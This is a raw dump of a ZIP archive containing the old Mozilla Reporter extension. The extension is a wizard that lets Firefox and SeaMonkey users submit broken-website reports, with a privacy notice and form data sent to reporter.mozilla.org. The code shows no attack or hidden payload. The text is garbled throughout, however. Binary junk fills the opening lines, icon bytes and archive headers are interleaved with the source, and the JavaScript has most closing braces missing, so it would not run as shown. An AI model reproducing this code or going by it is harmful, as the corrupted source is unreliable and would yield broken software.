pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<h3>&error;</h3>
<div id="messagediv"><span id="faultMessage"/></div>
</body>
</html>
content/reporter/report.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>reporter</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<link rel="stylesheet" type="text/css" href="chrome://reporter/skin/reportResults.css"/>
</head>
<body>
<table>
<th>&reportSite;:</th>
<td><span id="urlStri"/></td>
<th>&reportProblemType;:</th>
<td><span id="problemTypeStri"/></td>
<th>&reportDecsription;:</th>
<td><span id="descriptionStri"/></td>
<th>&reportPlatform;:</th>
<td><span id="platformStri"/></td>
<th>&reportProduct;:</th>
<td><span id="productStri"/></td>
<th>&reportoscpu;:</th>
<td><span id="oscpuStri"/></td>
<th>&reportGecko;:</th>
<td><span id="geckoStri"/></td>
<th>&reportBuildConfig;:</th>
<td><span id="buildConfigStri"/></td>
<th>&reportUseragent;:</th>
<td><span id="userAgentStri"/></td>
<th>&reportLanguage;:</th>
<td><span id="langStri"/></td>
<th>&reportCharset;:</th>
<td><span id="charsetStri"/></td>
<th>&reportEmail;:</th>
<td><span id="emailStri"/></td>
</table>
</body>
</html>
[62t]GA
skin/classic/reporter/icon.pngPNG
tEXtComment
Created with The GIMPd%n
D y<YE
_wi:rsrG
!_v'")GH
EPy//o=,
*s]o)TlpP'
VfD7$}v8v=
H;P'L{
=c,432
u}\squ
J7\HE]&
s2/VFVA
IENDB`PK
skin/classic/reporter/reportResults.cssbody {
font: message-box;
width: 100px;
text-align: left;
vertical-align: top;
table {
width: 95%;
skin/classic/reporter/reportWizard.css/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
#privacyFrame, #finishExtendedFrame {
-moz-appearance: listbox;
margin: 2px 4px;
border: 2px solid;
-moz-border-top-colors: ThreeDShadow ThreeDDarkShadow;
-moz-border-right-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-bottom-colors: ThreeDHighlight ThreeDLightShadow;
-moz-border-left-colors: ThreeDShadow ThreeDDarkShadow;
background-color: -moz-Field;
color: -moz-FieldText;
wizard[description=""] .wizard-header-description {
display: none;
content/reporter/reportWizard.xulPK
}e7IF;
content/reporter/reportWizard.jsPK
content/reporter/reporterOverlay.xulPK
}e73w@
content/reporter/reporterOverlay.jsPK
content/reporter/error.xhtmlPK
content/reporter/report.xhtmlPK
[62t]GA
